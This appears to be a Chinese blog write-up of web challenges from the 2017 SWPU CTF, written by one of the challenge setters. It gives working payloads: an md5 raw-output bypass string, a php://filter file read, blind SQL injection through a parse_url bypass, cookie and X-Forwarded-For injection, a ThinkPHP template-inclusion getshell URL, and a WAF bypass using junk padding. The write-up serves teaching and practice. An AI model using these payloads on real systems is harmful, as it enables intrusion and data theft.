2017swpu-ctf总结
2017swpu-ctf总结
今年是我第一次出题感受很多,就分析几道我印象最深刻的题吧
你能进入后台吗?
这道题主要是考察php_screw还有md5加密开启true过后的注入
phpscrew加密在github上有解密工具
工具地址
至于绕过md5($password,true)这个其实主要就是通过md5后的hex值转换成字符串如果包含'or'
字符串:ffifdyop
满足上述条件
flag!flag!
这是我出的题本来是想出thinkphp的洞的,不过已经有一个thinkphp的题了就放弃了。首先是一个文件读取http://39.106.13.2/web2/file.php?file=php://filter/read=convert.base64-encode/resource=check
(这道题之前出了些问题,我回滚了一次,结果那个快照是我很久以前打的,导致有些大师傅读到的源码是我之前的测试源码,不是我最后决定的源码。已经被吊打)
源码是一个waf,前半部分过滤一些危险参数,不过像mid,substr,length这些很多都没有过滤绕过很简单,重点是后半部分。通过parse_url
分割url后去匹配过滤select。因为是跨表,没有select确实没法注入这里用到了一个小tips。parseurl对url解析的时候有问题///x.php?file=xxx
这种格式会返回false,preg_match就不会匹配到任何字符串了。这样就绕过了后面那个参数最后的payload=http://39.106.13.2///web2/articleshowAll.php?aid=1'/(ascii(mid((select flag from flag)from(1)))>0)%23
心得:其实后来觉得这道题出的不怎么好,因为parse_url这样用真的很少,感觉大家学到了一个蛮鸡肋的东西。下次出题注意。
我们来做小游戏吧
大佬出的题,先膜一波。
注入点其实蛮好找的
function load_session()
{
$res = $this->dbConn->query('SELECT data FROM ' . $this->session_table . " WHERE session_id = '" . $this->session_id . "' and ip = '" . $this->_ip . "'");
$session = $res->fetch_array();
if (empty($session))
{
$this->insert_session();
}
else
{
$GLOBALS['_SESSION'] = unserialize($session['data']);
}
}
session_id
和ip
是可控的不过重点是加上了全局转义,当时就被这里难住了,没有想到办法引入单引号。
$tmp_session_id = substr($this->session_id, 0, 32);
if ($this->gen_session_key($tmp_session_id) == substr($this->session_id, 32)){
$this->session_id = $tmp_session_id;
}
其实忽略了这段代码,这个是对session_id进行截取截取前32位这里对 $this->session_id
做了截取,而 $this->session_id
的值是可以通过 $_COOKIE[$this->session_name]
控制的,所以我们可以通过在 cookie 里面传入 %00 ,这样经过全局转义后,赋值给 $this->session_id
就成了 \0
,然后截取32位字符串的时候就可以控制其截取出 \
了。在这里如果直接传入 '
的话,在后面进行 if 判断的时候,截取字符串剩余后面第一位就是 '
了,无法通过逻辑
对于这个验证逻辑,我们来看看 $this->gen_session_key()
函数:
<?php
function gen_session_key($session_id)
{
static $ip = '';
if ($ip == '')
{
$ip = substr($_SERVER['HTTP_X_FORWARDED_FOR'], 0, strrpos($_SERVER['HTTP_X_FORWARDED_FOR'], '.'));
}var_dump($ip);
return sprintf('%08x', crc32($ip . $session_id));
}
?>
很明显就是X-Forwarded-For引起注入
最后:
X-Forwarded-For: union select 0x613a323a7b733a343a226e616d65223b733a353a2261646d696e223b733a353a2273636f7265223b693a3130303b7d-- -
Cookie: SESSID=123456789012345678901234567890P%006908aa7
心得:这道题时真的难,我现在都觉得这个审计逻辑厉害,自己再好好研究下。自己审计的思路不清楚,说白了就是代码看的少了。
You Think I Think
这道题可能是除了我自己出的题以外最熟悉的题了,大佬在旁边出题,有幸第一个测试。
这道题的考点是thinkphp路由规则以及thinkphp模板的包含问题,还有就是thinkphp不支持原生的php代码时如何写入。说实话这道题我感觉很有意思。
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function _initialize(){
if(!is_login()){
redirect(U('Home/Login/login'));exit();
}
}
public function index(){
$where['id'] = intval(session('uid'));
$info = M('users')->where($where)->find();
$this->assign('username', $info['username']);
$this->assign('head_image', $info['head_image']);
$this->display();
}
//修改密码
public function repass(){
! isset ( $_GET ['temp'] ) || $name = I ( 'get.temp', 'index', 'addslashes,htmlspecialchars');
if (IS_POST) {
$login = D('users');
if (!$data = $login->create()) {
// 防止输出中文乱码
header("Content-type: text/html; charset=utf-8");
$this->error($login->getError());
}
$re_oldpass = md5(I('post.oldpassword'));
$where['id'] = intval(session('uid'));
$oldpass = M('users')->where($where)->getField('password');
if($re_oldpass === $oldpass){
$User = M('users');
//$User->password = $data;
$User->where($where)->save($data);
$this->success('修改密码成功,正跳转至系统首页...', U('Index/index'));
}
}else{
$this->display($name);
}
}
//修改头像
public function rehead(){
! isset ( $_GET ['temp'] ) || $name = I ( 'get.temp', 'index', 'addslashes,htmlspecialchars');
if (IS_POST) {
if(!is_dir('./Upload/')){
@mkdir('./Upload', 0755, true);
}
$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 3145728 ;// 设置附件上传大小
$upload->exts = array('jpg', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Upload/'; // 设置附件上传根目录
$upload->savePath = ''; // 设置附件上传(子)目录
$upload->saveName = md5(time().mt_rand().session(uid));
// 上传文件
$info = $upload->upload();
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
}else{// 上传成功
$User = M('users');
$data['head_image'] = "/Upload/".$info['photo']['savepath']."/".$info['photo']['savename'];
$where['id'] = intval(session('uid'));
$User->where($where)->save($data);
$this->success('上传成功!',U('Index/index'));
}
}else{
$this->display($name);
}
}
/**
* 用户注销
*/
public function logout()
{
// 清楚所有session
session(null);
redirect(U('Login/login'));
}
}
$this->display($name);
上传头像那里还有修改密码那里后市直接把变量传入display里面的,然后就会引起包含。不过需要注意包含的时候url 模式需要由 PATHINFO模式 改成 兼容模式,同时包含路径是相对于 index.php 文件的位置的。还有就是禁止了原生php代码过后可以传入<php></php>
这种格式来getshell
exp:
http://39.106.11.158/web1/index.php?s=/home/index/repass&temp=./Upload/2017-11-04//5f3d47e74b2885c4e854abe4f06cf887.png
心得:thinkphp路由的四种模式知道是知道但是确实没有认真的研究过,这道题真的学到了不少(ps:出这道题的大佬这两天又教给我一个thinkphp的姿势,真的厉害,等熟悉了再总结一下。)
偷懒的出题人
咳咳某不愿意透露姓名的c开头的大佬的题。就是去年的他的题加上了一个nginx的waf
post传参 x=xxx(重复较多次)&id=-1 union select 1,2,flag from flag
通过传入超长的脏数据导致数据不会被带入waf模块。然后查到的就是去年的那道web题是一个哈希扩展攻击。听到这个名字不喜欢算法的我对这种构造头有点大就没有去深入研究了。
师傅们一起来找flag
xxe提示给的很明显,之前以为是盲x,结果大佬告诉我不是盲x,是过滤了<!ENTITY
自己没有怎么玩过xxe不知道该怎么测,然后大佬给了篇文章
http://wooyun.chamd5.org/bug_detail.php?wybug_id=wooyun-2014-059783看完过后再指点之下感觉融会贯通,做出来了。最后wp如下图: